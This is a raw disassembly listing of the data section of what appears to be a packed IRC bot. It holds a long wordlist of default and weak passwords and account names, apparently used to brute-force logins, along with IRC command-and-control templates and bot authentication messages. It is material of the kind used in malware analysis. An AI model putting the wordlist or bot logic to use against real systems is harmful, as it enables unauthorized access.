aBrandy		db 'brandy',0           ; DATA XREF: UPX0:0042EC9Co
		align 4
aBrandi		db 'brandi',0           ; DATA XREF: UPX0:0042EC98o
		align 4
aBradley	db 'bradley',0          ; DATA XREF: UPX0:0042EC94o
aBoyscout	db 'boyscout',0         ; DATA XREF: UPX0:0042EC90o
		align 4
aBorn		db 'born',0             ; DATA XREF: UPX0:0042EC8Co
		align 10h
aBook		db 'book',0             ; DATA XREF: UPX0:0042EC88o
		align 4
aBoobs		db 'boobs',0            ; DATA XREF: UPX0:0042EC84o
		align 10h
aBoob		db 'boob',0             ; DATA XREF: UPX0:0042EC80o
		align 4
aBoner		db 'boner',0            ; DATA XREF: UPX0:0042EC7Co
		align 10h
aBomb		db 'bomb',0             ; DATA XREF: UPX0:0042EC78o
		align 4
aBoard		db 'board',0            ; DATA XREF: UPX0:0042EC74o
		align 10h
aBlues		db 'blues',0            ; DATA XREF: UPX0:0042EC70o
		align 4
aBlue		db 'blue',0             ; DATA XREF: UPX0:0042EC6Co
		align 10h
aBlowjob	db 'blowjob',0          ; DATA XREF: UPX0:0042EC68o
aBlow		db 'blow',0             ; DATA XREF: UPX0:0042EC64o
		align 10h
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: UPX0:0042EC60o
		align 4
aBlood		db 'blood',0            ; DATA XREF: UPX0:0042EC5Co
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: UPX0:0042EC58o
aBlonde		db 'blonde',0           ; DATA XREF: UPX0:0042EC54o
		align 4
aBlack		db 'black',0            ; DATA XREF: UPX0:0042EC50o
		align 4
aBitnet		db 'bitnet',0           ; DATA XREF: UPX0:0042EC4Co
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: UPX0:0042EC48o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: UPX0:0042EC44o
		align 4
aBishop		db 'bishop',0           ; DATA XREF: UPX0:0042EC40o
		align 4
aBird		db 'bird',0             ; DATA XREF: UPX0:0042EC3Co
		align 4
aBios		db 'bios',0             ; DATA XREF: UPX0:0042EC38o
		align 4
aBinary		db 'binary',0           ; DATA XREF: UPX0:0042EC34o
		align 4
aBill		db 'bill',0             ; DATA XREF: UPX0:0042EC30o
		align 4
aBigfoot	db 'bigfoot',0          ; DATA XREF: UPX0:0042EC2Co
aBicamera	db 'bicamera',0         ; DATA XREF: UPX0:0042EC28o
		align 10h
aBible		db 'bible',0            ; DATA XREF: UPX0:0042EC24o
		align 4
aBeverly	db 'beverly',0          ; DATA XREF: UPX0:0042EC20o
aBetty		db 'betty',0            ; DATA XREF: UPX0:0042EC1Co
		align 4
aBetsie		db 'betsie',0           ; DATA XREF: UPX0:0042EC18o
		align 10h
aBeth		db 'beth',0             ; DATA XREF: UPX0:0042EC14o
		align 4
aBeta		db 'beta',0             ; DATA XREF: UPX0:0042EC10o
		align 10h
aBeryl		db 'beryl',0            ; DATA XREF: UPX0:0042EC0Co
		align 4
aBerliner	db 'berliner',0         ; DATA XREF: UPX0:0042EC08o
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: UPX0:0042EC04o
		align 4
aBerkeley	db 'berkeley',0         ; DATA XREF: UPX0:0042EC00o
		align 4
aBeowulf	db 'beowulf',0          ; DATA XREF: UPX0:0042EBFCo
aBenz		db 'benz',0             ; DATA XREF: UPX0:0042EBF8o
		align 4
aBeloved	db 'beloved',0          ; DATA XREF: UPX0:0042EBF4o
aBell		db 'bell',0             ; DATA XREF: UPX0:0042EBF0o
		align 4
aBehead		db 'behead',0           ; DATA XREF: UPX0:0042EBECo
		align 10h
aBegin		db 'begin',0            ; DATA XREF: UPX0:0042EBE8o
		align 4
aBeethove	db 'beethove',0         ; DATA XREF: UPX0:0042EBE4o
		align 4
aBecky		db 'becky',0            ; DATA XREF: UPX0:0042EBE0o
		align 4
aBeaver		db 'beaver',0           ; DATA XREF: UPX0:0042EBDCo
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: UPX0:0042EBD8o
		align 4
aBeater		db 'beater',0           ; DATA XREF: UPX0:0042EBD4o
		align 4
aBeast		db 'beast',0            ; DATA XREF: UPX0:0042EBD0o
		align 4
aBear		db 'bear',0             ; DATA XREF: UPX0:0042EBCCo
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: UPX0:0042EBC8o
		align 10h
aBeach		db 'beach',0            ; DATA XREF: UPX0:0042EBC4o
		align 4
aBatman		db 'batman',0           ; DATA XREF: UPX0:0042EBC0o
		align 10h
aBatch		db 'batch',0            ; DATA XREF: UPX0:0042EBBCo
		align 4
aBassoon	db 'bassoon',0          ; DATA XREF: UPX0:0042EBB8o
aBass		db 'bass',0             ; DATA XREF: UPX0:0042EBB4o
		align 4
aBasic		db 'basic',0            ; DATA XREF: UPX0:0042EBB0o
		align 10h
aBaseball	db 'baseball',0         ; DATA XREF: UPX0:0042EBACo
		align 4
aBartman	db 'bartman',0          ; DATA XREF: UPX0:0042EBA8o
aBart		db 'bart',0             ; DATA XREF: UPX0:0042EBA4o
		align 4
aBaritone	db 'baritone',0         ; DATA XREF: UPX0:0042EBA0o
		align 4
aBarf		db 'barf',0             ; DATA XREF: UPX0:0042EB9Co
		align 10h
aBare		db 'bare',0             ; DATA XREF: UPX0:0042EB98o
		align 4
aBarber		db 'barber',0           ; DATA XREF: UPX0:0042EB94o
		align 10h
aBarbara	db 'barbara',0          ; DATA XREF: UPX0:0042EB90o
aBanks		db 'banks',0            ; DATA XREF: UPX0:0042EB8Co
		align 10h
aBank		db 'bank',0             ; DATA XREF: UPX0:0042EB88o
		align 4
aBandit		db 'bandit',0           ; DATA XREF: UPX0:0042EB84o
		align 10h
aBananas	db 'bananas',0          ; DATA XREF: UPX0:0042EB80o
aBanana		db 'banana',0           ; DATA XREF: UPX0:0042EB7Co
		align 10h
aBall		db 'ball',0             ; DATA XREF: UPX0:0042EB78o
		align 4
aBailey		db 'bailey',0           ; DATA XREF: UPX0:0042EB74o
		align 10h
aBadass		db 'badass',0           ; DATA XREF: UPX0:0042EB70o
		align 4
aBackdoor	db 'backdoor',0         ; DATA XREF: UPX0:0042EB6Co
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: UPX0:0042EB68o
aBaby		db 'baby',0             ; DATA XREF: UPX0:0042EB64o
		align 4
aBabe		db 'babe',0             ; DATA XREF: UPX0:0042EB60o
		align 4
aAzure		db 'azure',0            ; DATA XREF: UPX0:0042EB5Co
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: UPX0:0042EB58o
		align 4
aAuthoriz	db 'authoriz',0         ; DATA XREF: UPX0:0042EB54o
		align 4
aAttack		db 'attack',0           ; DATA XREF: UPX0:0042EB50o
		align 10h
aAtom		db 'atom',0             ; DATA XREF: UPX0:0042EB4Co
		align 4
aAtmosphe	db 'atmosphe',0         ; DATA XREF: UPX0:0042EB48o
		align 4
aAthena		db 'athena',0           ; DATA XREF: UPX0:0042EB44o
		align 4
aAsshole	db 'asshole',0          ; DATA XREF: UPX0:0042EB40o
aAsian		db 'asian',0            ; DATA XREF: UPX0:0042EB3Co
		align 4
aArtist		db 'artist',0           ; DATA XREF: UPX0:0042EB38o
		align 4
aArthur		db 'arthur',0           ; DATA XREF: UPX0:0042EB34o
		align 4
aArrow		db 'arrow',0            ; DATA XREF: UPX0:0042EB30o
		align 4
aArmy		db 'army',0             ; DATA XREF: UPX0:0042EB2Co
		align 4
aArlene		db 'arlene',0           ; DATA XREF: UPX0:0042EB28o
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: UPX0:0042EB24o
aAria		db 'aria',0             ; DATA XREF: UPX0:0042EB20o
		align 4
aApril		db 'april',0            ; DATA XREF: UPX0:0042EB1Co
		align 4
aApollo13	db 'apollo13',0         ; DATA XREF: UPX0:0042EB18o
		align 4
aAnything	db 'anything',0         ; DATA XREF: UPX0:0042EB14o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: UPX0:0042EB10o
		align 4
aAnthropo	db 'anthropo',0         ; DATA XREF: UPX0:0042EB0Co
		align 4
aAnthrax	db 'anthrax',0          ; DATA XREF: UPX0:0042EB08o
aAnswer		db 'answer',0           ; DATA XREF: UPX0:0042EB04o
		align 4
aAnonymou	db 'anonymou',0         ; DATA XREF: UPX0:0042EB00o
		align 4
aAnon		db 'anon',0             ; DATA XREF: UPX0:0042EAFCo
		align 4
aAnnette	db 'annette',0          ; DATA XREF: UPX0:0042EAF8o
aAnne		db 'anne',0             ; DATA XREF: UPX0:0042EAF4o
		align 4
aAnna		db 'anna',0             ; DATA XREF: UPX0:0042EAF0o
		align 4
aAnita		db 'anita',0            ; DATA XREF: UPX0:0042EAECo
		align 4
aAnimals	db 'animals',0          ; DATA XREF: UPX0:0042EAE8o
aAnimal		db 'animal',0           ; DATA XREF: UPX0:0042EAE4o
		align 4
aAngie		db 'angie',0            ; DATA XREF: UPX0:0042EAE0o
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: UPX0:0042EADCo
		align 10h
aAngela		db 'angela',0           ; DATA XREF: UPX0:0042EAD8o
		align 4
aAnfo		db 'anfo',0             ; DATA XREF: UPX0:0042EAD4o
		align 10h
aAndy		db 'andy',0             ; DATA XREF: UPX0:0042EAD0o
		align 4
aAndromac	db 'andromac',0         ; DATA XREF: UPX0:0042EACCo
		align 4
aAndroid	db 'android',0          ; DATA XREF: UPX0:0042EAC8o
aAndrea		db 'andrea',0           ; DATA XREF: UPX0:0042EAC4o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: UPX0:0042EAC0o
		align 4
aAnarchy	db 'anarchy',0          ; DATA XREF: UPX0:0042EABCo
aAnarchis	db 'anarchis',0         ; DATA XREF: UPX0:0042EAB8o
		align 10h
aAnalog		db 'analog',0           ; DATA XREF: UPX0:0042EAB4o
		align 4
aAnal		db 'anal',0             ; DATA XREF: UPX0:0042EAB0o
		align 10h
aAmorphou	db 'amorphou',0         ; DATA XREF: UPX0:0042EAACo
		align 4
aAmerica	db 'america',0          ; DATA XREF: UPX0:0042EAA8o
aAmber		db 'amber',0            ; DATA XREF: UPX0:0042EAA4o
		align 4
aAmanda		db 'amanda',0           ; DATA XREF: UPX0:0042EAA0o
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: UPX0:0042EA9Co
aAlphabet	db 'alphabet',0         ; DATA XREF: UPX0:0042EA98o
		align 4
aAllow		db 'allow',0            ; DATA XREF: UPX0:0042EA94o
		align 10h
aAllison	db 'allison',0          ; DATA XREF: UPX0:0042EA90o
aAlison		db 'alison',0           ; DATA XREF: UPX0:0042EA8Co
		align 10h
aAlisa		db 'alisa',0            ; DATA XREF: UPX0:0042EA88o
		align 4
aAlicia		db 'alicia',0           ; DATA XREF: UPX0:0042EA84o
		align 10h
aAlice		db 'alice',0            ; DATA XREF: UPX0:0042EA80o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: UPX0:0042EA7Co
aAlias		db 'alias',0            ; DATA XREF: UPX0:0042EA78o
		align 4
aAlgebra	db 'algebra',0          ; DATA XREF: UPX0:0042EA74o
aAlexande	db 'alexande',0         ; DATA XREF: UPX0:0042EA70o
		align 4
aAlex		db 'alex',0             ; DATA XREF: UPX0:0042EA6Co
		align 4
aAlert		db 'alert',0            ; DATA XREF: UPX0:0042EA68o
		align 4
aAlbert		db 'albert',0           ; DATA XREF: UPX0:0042EA64o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: UPX0:0042EA60o
		align 10h
aAlbany		db 'albany',0           ; DATA XREF: UPX0:0042EA5Co
		align 4
aAlaska		db 'alaska',0           ; DATA XREF: UPX0:0042EA58o
		align 10h
aAirplane	db 'airplane',0         ; DATA XREF: UPX0:0042EA54o
		align 4
aAids		db 'aids',0             ; DATA XREF: UPX0:0042EA50o
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: UPX0:0042EA4Co
		align 10h
aAdult		db 'adult',0            ; DATA XREF: UPX0:0042EA48o
		align 4
aAdrianna	db 'adrianna',0         ; DATA XREF: UPX0:0042EA44o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: UPX0:0042EA40o
		align 4
aAdam		db 'adam',0             ; DATA XREF: UPX0:0042EA3Co
		align 4
aAction		db 'action',0           ; DATA XREF: UPX0:0042EA38o
		align 4
aAccount	db 'account',0          ; DATA XREF: UPX0:0042EA34o
aAcademic	db 'academic',0
		align 10h
aAcademia	db 'academia',0
		align 4
a000000		db '000000',0
		align 4
a00000		db '00000',0
		align 4
a0000		db '0000',0
		align 4
a000		db '000',0              ; DATA XREF: UPX0:0042EA18o
aTesting	db 'testing',0          ; DATA XREF: UPX0:0042EA14o
aDeath		db 'death',0            ; DATA XREF: UPX0:0042EA10o
		align 4
a00		db '00',0               ; DATA XREF: UPX0:0042EA0Co
		align 4
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: UPX0:0042EA04o
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: UPX0:0042EA00o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: UPX0:0042E9FCo
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: UPX0:0042E9F8o
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: UPX0:0042E9F4o
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: UPX0:0042E9F0o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: UPX0:0042E9ECo
aXx		db 'xx',0               ; DATA XREF: UPX0:0042E9E8o
		align 4
asc_433C1C:				; DATA XREF: UPX0:0042E9E4o
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: UPX0:0042E9E0o
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: UPX0:0042E9DCo
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: UPX0:0042E9D8o
		align 4
aMirc_0		db 'mirc',0             ; DATA XREF: UPX0:0042E9D4o
		align 10h
aKiddie		db 'kiddie',0           ; DATA XREF: UPX0:0042E9D0o
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: UPX0:0042E9CCo
		align 4
aScript		db 'script',0           ; DATA XREF: UPX0:0042E9C8o
		align 10h
aHax0r		db 'hax0r',0            ; DATA XREF: UPX0:0042E9C4o
		align 4
aHacker		db 'hacker',0           ; DATA XREF: UPX0:0042E9C0o
		align 10h
aL337		db 'l337',0             ; DATA XREF: UPX0:0042E9BCo
		align 4
aL33t		db 'l33t',0             ; DATA XREF: UPX0:0042E9B8o
		align 10h
aLeet		db 'leet',0             ; DATA XREF: UPX0:0042E9B4o
		align 4
aKiller		db 'killer',0           ; DATA XREF: UPX0:0042E9B0o
		align 10h
a0wn3d		db '0wn3d',0            ; DATA XREF: UPX0:0042E9ACo
		align 4
aW00t		db 'w00t',0             ; DATA XREF: UPX0:0042E9A8o
		align 10h
aHeaven		db 'heaven',0           ; DATA XREF: UPX0:0042E9A4o
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: UPX0:0042E9A0o
		align 4
aSatanic	db 'satanic',0          ; DATA XREF: UPX0:0042E99Co
aSatanik	db 'satanik',0          ; DATA XREF: UPX0:0042E998o
aSatan		db 'satan',0            ; DATA XREF: UPX0:0042E994o
		align 4
aGobo		db 'gobo',0             ; DATA XREF: UPX0:0042E990o
		align 4
aMatthew	db 'Matthew',0          ; DATA XREF: UPX0:0042E98Co
aMatt		db 'Matt',0             ; DATA XREF: UPX0:0042E988o
		align 4
aMat		db 'Mat',0              ; DATA XREF: UPX0:0042E984o
aPw		db 'pw',0               ; DATA XREF: UPX0:0042E980o
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: UPX0:0042E97Co
		align 4
aMypass		db 'mypass',0           ; DATA XREF: UPX0:0042E978o
		align 10h
aPw123		db 'pw123',0            ; DATA XREF: UPX0:0042E974o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: UPX0:0042E970o
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: UPX0:0042E96Co
aMypc		db 'mypc',0             ; DATA XREF: UPX0:0042E968o
		align 4
aLove		db 'love',0             ; DATA XREF: UPX0:0042E964o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: UPX0:0042E960o
aLogin		db 'login',0            ; DATA XREF: UPX0:0042E95Co
		align 4
aHome		db 'home',0             ; DATA XREF: UPX0:0042E958o
		align 10h
aZxcv		db 'zxcv',0             ; DATA XREF: UPX0:0042E954o
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: UPX0:0042E950o
		align 10h
aQwer		db 'qwer',0             ; DATA XREF: UPX0:0042E94Co
		align 4
aSecret		db 'secret',0           ; DATA XREF: UPX0:0042E948o
		align 10h
aAsdf		db 'asdf',0             ; DATA XREF: UPX0:0042E944o
		align 4
aPc		db 'pc',0               ; DATA XREF: UPX0:0042E940o
		align 4
aWin		db 'win',0              ; DATA XREF: UPX0:0042E93Co
aTest123	db 'test123',0          ; DATA XREF: UPX0:0042E938o
aAbc		db 'abc',0              ; DATA XREF: UPX0:0042E934o
aAaa		db 'aaa',0              ; DATA XREF: UPX0:0042E930o
aA_1:					; DATA XREF: UPX0:0042E92Co
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: UPX0:0042E928o
		align 4
aFucked		db 'fucked',0           ; DATA XREF: UPX0:0042E924o
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: UPX0:0042E920o
aIrule		db 'irule',0            ; DATA XREF: UPX0:0042E91Co
		align 4
aOwned		db 'owned',0            ; DATA XREF: UPX0:0042E918o
		align 4
a0wned		db '0wned',0            ; DATA XREF: UPX0:0042E914o
		align 4
aNetDevil	db 'net-devil',0        ; DATA XREF: UPX0:0042E910o
		align 10h
aNetdevil	db 'netdevil',0         ; DATA XREF: UPX0:0042E90Co
		align 4
aDevil		db 'devil',0            ; DATA XREF: UPX0:0042E908o
		align 4
aNilez		db 'Nilez',0            ; DATA XREF: UPX0:0042E904o
		align 4
aFoobar		db 'foobar',0           ; DATA XREF: UPX0:0042E900o
		align 4
aGod		db 'god',0              ; DATA XREF: UPX0:0042E8FCo
aSex		db 'sex',0              ; DATA XREF: UPX0:0042E8F8o
aPat		db 'pat',0              ; DATA XREF: UPX0:0042E8F4o
aPatrick	db 'patrick',0          ; DATA XREF: UPX0:0042E8F0o
aAlpha		db 'alpha',0            ; DATA XREF: UPX0:0042E8ECo
		align 10h
a007		db '007',0              ; DATA XREF: UPX0:0042E8E8o
a123abc		db '123abc',0           ; DATA XREF: UPX0:0042E8E4o
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: UPX0:0042E8E0o
		align 4
a123123		db '123123',0           ; DATA XREF: UPX0:0042E8DCo
		align 10h
a121212		db '121212',0           ; DATA XREF: UPX0:0042E8D8o
		align 4
a111111		db '111111',0           ; DATA XREF: UPX0:0042E8D4o
		align 10h
a110		db '110',0              ; DATA XREF: UPX0:0042E8D0o
a2600		db '2600',0             ; DATA XREF: UPX0:0042E8CCo
		align 4
a2002		db '2002',0             ; DATA XREF: UPX0:0042E8C4o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: UPX0:0042E8C0o
		align 4
aEnable		db 'enable',0           ; DATA XREF: UPX0:0042E8BCo
		align 10h
aGodblessyou	db 'godblessyou',0      ; DATA XREF: UPX0:0042E8B8o
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: UPX0:0042E8B4o
a123asd		db '123asd',0           ; DATA XREF: UPX0:0042E8B0o
		align 10h
aSuper		db 'super',0            ; DATA XREF: UPX0:0042E8ACo
		align 4
aInternet	db 'Internet',0         ; DATA XREF: UPX0:0042E8A8o
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: UPX0:0042E8A0o
		align 4
aSybase		db 'sybase',0           ; DATA XREF: UPX0:0042E89Co
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: UPX0:0042E894o
		align 4
aAbcd		db 'abcd',0             ; DATA XREF: UPX0:0042E890o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: UPX0:0042E888o
		align 4
aPass_0		db 'pass',0             ; DATA XREF: UPX0:0042E884o
		align 4
a88888888	db '88888888',0         ; DATA XREF: UPX0:0042E880o
		align 10h
a11111111	db '11111111',0         ; DATA XREF: UPX0:0042E87Co
		align 4
a111		db '111',0              ; DATA XREF: UPX0:0042E878o
a54321		db '54321',0            ; DATA XREF: UPX0:0042E874o
		align 4
a654321		db '654321',0           ; DATA XREF: UPX0:0042E870o
		align 10h
a123456789	db '123456789',0        ; DATA XREF: UPX0:0042E86Co
		align 4
a12345678	db '12345678',0         ; DATA XREF: UPX0:0042E868o
		align 4
a1234567	db '1234567',0          ; DATA XREF: UPX0:0042E864o
a123456		db '123456',0           ; DATA XREF: UPX0:0042E860o
		align 4
a12345		db '12345',0            ; DATA XREF: UPX0:0042E85Co
		align 10h
a1234		db '1234',0             ; DATA XREF: UPX0:0042E858o
		align 4
a123		db '123',0              ; DATA XREF: UPX0:0042E854o
a12		db '12',0               ; DATA XREF: UPX0:0042E850o
		align 10h
a1:					; DATA XREF: UPX0:0042E84Co
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: UPX0:0042E848o
aChangeme_0	db 'Changeme',0         ; DATA XREF: UPX0:0042E844o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: UPX0:0042E840o
		align 4
aLinux		db 'linux',0            ; DATA XREF: UPX0:0042E83Co
		align 4
aUnix		db 'unix',0             ; DATA XREF: UPX0:0042E838o
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: UPX0:0042E834o
		align 4
aPepsi		db 'pepsi',0            ; DATA XREF: UPX0:0042E830o
		align 4
aServer_2	db 'SERVER',0           ; DATA XREF: UPX0:0042E82Co
		align 4
aSystem_1	db 'SYSTEM',0           ; DATA XREF: UPX0:0042E828o
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: UPX0:0042E824o
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: UPX0:0042E81Co
		align 4
aTest		db 'TEST',0             ; DATA XREF: UPX0:0042E818o
		align 4
aEdu		db 'edu',0              ; DATA XREF: UPX0:0042E814o
aOwner_1	db 'Owner',0            ; DATA XREF: UPX0:0042E810o
		align 4
aOwner_0	db 'OWNER',0            ; DATA XREF: UPX0:0042E80Co
		align 10h
aDemo		db 'DEMO',0             ; DATA XREF: UPX0:0042E808o
		align 4
aFiles		db 'FILES',0            ; DATA XREF: UPX0:0042E804o
		align 10h
aRead		db 'READ',0             ; DATA XREF: UPX0:0042E800o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: UPX0:0042E7FCo
		align 10h
aLadeda		db 'ladeda',0           ; DATA XREF: UPX0:0042E7F8o
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: UPX0:0042E7F4o
		align 10h
aWrite		db 'WRITE',0            ; DATA XREF: UPX0:0042E7F0o
		align 4
aShare_0	db 'SHARE',0            ; DATA XREF: UPX0:0042E7ECo
		align 10h
aTemp		db 'TEMP',0             ; DATA XREF: UPX0:0042E7E8o
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: UPX0:0042E7E4o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: UPX0:0042E7E0o
		align 4
aRoot_0		db 'ROOT',0             ; DATA XREF: UPX0:0042E7D8o
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: UPX0:0042E7D4o
		align 4
aBla		db 'bla',0              ; DATA XREF: UPX0:0042E7D0o
aFubar		db 'fubar',0            ; DATA XREF: UPX0:0042E7CCo
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: UPX0:0042E7C0o
		align 4
aDb2		db 'db2',0              ; DATA XREF: UPX0:0042E7B0o
aOracle		db 'oracle',0           ; DATA XREF: UPX0:0042E7ACo
					; UPX0:0042E898o
		align 4
aDba		db 'dba',0              ; DATA XREF: UPX0:0042E7A8o
aDatabase	db 'database',0         ; DATA XREF: UPX0:0042E7A4o
					; UPX0:0042E88Co
		align 4
aDefault	db 'default',0          ; DATA XREF: UPX0:0042E7A0o
					; UPX0:0042EF2Co
aGuest_0	db 'guest',0            ; DATA XREF: UPX0:0042E79Co
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: UPX0:0042E798o
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: UPX0:0042E794o
					; UPX0:0042FEC0o
aStudent	db 'student',0          ; DATA XREF: UPX0:0042E790o
					; UPX0:0042FE08o
aOwner		db 'owner',0            ; DATA XREF: UPX0:0042E78Co
		align 4
aComputer	db 'computer',0         ; DATA XREF: UPX0:0042E788o
					; UPX0:0042E8A4o
		align 4
aRoot		db 'root',0             ; DATA XREF: UPX0:0042E784o
					; UPX0:0042E7DCo
		align 4
aStaff		db 'staff',0            ; DATA XREF: UPX0:0042E780o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: UPX0:0042E77Co
		align 4
aAdmins		db 'admins',0           ; DATA XREF: UPX0:0042E778o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: UPX0:0042E774o
aAdministrateur	db 'administrateur',0   ; DATA XREF: UPX0:0042E770o
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: UPX0:0042E76Co
		align 10h
aAdministrato_0	db 'administrator',0    ; DATA XREF: UPX0:0042E768o
					; UPX0:0042E7C8o
		align 10h
aH4ckerTool_0	db 'h4cker tool',0      ; DATA XREF: UPX0:off_42E6B8o
aAsa@		db 'asa@*',0            ; DATA XREF: UPX0:off_42E6B4o
		align 4
; char dword_434104
dword_434104	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E68B+34Fo
		dd 2BBBB02h, 6F422020h,	74732074h, 65747261h, 2E64h
; char aSDS[]
aSDS		db '%s %d "%s"',0       ; DATA XREF: sub_40E68B+27Do
		align 4
; char dword_434138[]
dword_434138	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EB71+F2o
		dd 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
; char aNickSUserS00S[]
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40ECD9+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
; char aPassS[]
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40ECD9+35o
		align 4
; char aModeSS[]
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+628Fo
		align 4
; char aUserhostS[]
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+627Ao
		align 4
dword_4341AC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+626Do
		dd 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 4
dword_4341DC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+6250o
		dd 2BBBB02h
aPasswordAccept	db '  Password accepted.',0
		align 4
dword_43420C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+61F2o
		dd 2BBBB02h
aFailedHostAuth	db '  *Failed host auth by: (%s!%s).',0
		align 4
; char dword_434248
dword_434248	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+6182o
		dd 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 4
; char aNoticeSYouVeBe[]
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40EE51+6173o
					; sub_40EE51+61E3o
		align 4
; char aNoticeSNiceTry[]
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40EE51+615Fo
					; sub_40EE51+61CFo
		align 10h
; char asc_4342D0[]
asc_4342D0:				; DATA XREF: sub_40EE51+612Fo
		unicode	0, <~>,0
; char dword_4342D4[]
dword_4342D4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+60DEo
		dd 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_434308	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+6030o
		dd 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
dword_434344	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+6025o
		dd 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 10h
; char dword_434380
dword_434380	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+5FC1o
		dd 2BBBB02h, 73252020h,	0
; char unk_4343A0
unk_4343A0	db    2			; DATA XREF: sub_40EE51+5F97o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStar_6	db ' Failed to start secure thread, error: <%d>.',0
		align 4
; char dword_4343EC
dword_4343EC	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_40EE51+5F21o
		dd 2202967h, 2002BBBBh,	20732520h, 74737973h, 2E6D65h
